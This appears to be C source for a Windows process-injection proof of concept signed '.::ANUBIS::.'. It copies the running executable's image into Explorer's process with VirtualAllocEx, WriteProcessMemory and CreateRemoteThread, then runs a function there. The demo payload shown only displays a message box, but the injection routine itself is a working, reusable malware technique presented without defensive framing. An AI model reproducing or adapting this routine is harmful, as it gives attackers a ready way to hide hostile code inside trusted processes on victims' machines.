/* Injection Prototypes */
#include <windows.h>
BOOL InjectExecutable(DWORD dwPid, LPTHREAD_START_ROUTINE lpStartProc, LPVOID lpParam);
#include "inject.h"
BOOL InjectExecutable(DWORD dwPid, LPTHREAD_START_ROUTINE lpStartProc, LPVOID lpParam)
{
HMODULE hModule, hNewModule;
DWORD dwSize;
HANDLE hProcess;
IMAGE_DOS_HEADER ImageDosHeader;
IMAGE_OPTIONAL_HEADER32 ImageOptionalHeader;
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
if (hProcess == NULL)
{
return FALSE;
}
hModule = GetModuleHandle(NULL);
CopyMemory(&ImageDosHeader, hModule, sizeof(ImageDosHeader));
CopyMemory(&ImageOptionalHeader, ((BYTE *)hModule + sizeof(DWORD) + ImageDosHeader.e_lfanew + sizeof(IMAGE_FILE_HEADER)), sizeof(ImageOptionalHeader));
dwSize = ImageOptionalHeader.SizeOfImage;
hNewModule = VirtualAllocEx(hProcess, hModule, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (hNewModule == NULL)
{
return FALSE;
}
WriteProcessMemory(hProcess, hNewModule, hModule, dwSize, NULL);
CreateRemoteThread(hProcess, 0, 0, lpStartProc, lpParam, 0, NULL);
return TRUE;
}
#include "inject.h"
DWORD WINAPI RemFunc(LPVOID lpParam);
void WinMainCRTStartup()
{
DWORD dwPid;
GetWindowThreadProcessId(FindWindow("ProgMan", NULL), &dwPid);
InjectExecutable(dwPid, &RemFunc, NULL);
}
DWORD WINAPI RemFunc(LPVOID lpParam)
{
MessageBox(HWND_DESKTOP, "Greetings from the Hijacked Process!!!!nDone with ProcessInjectionn.::ANUBIS::.", "Explorer", MB_OK);
ExitThread(0);
return 0;
}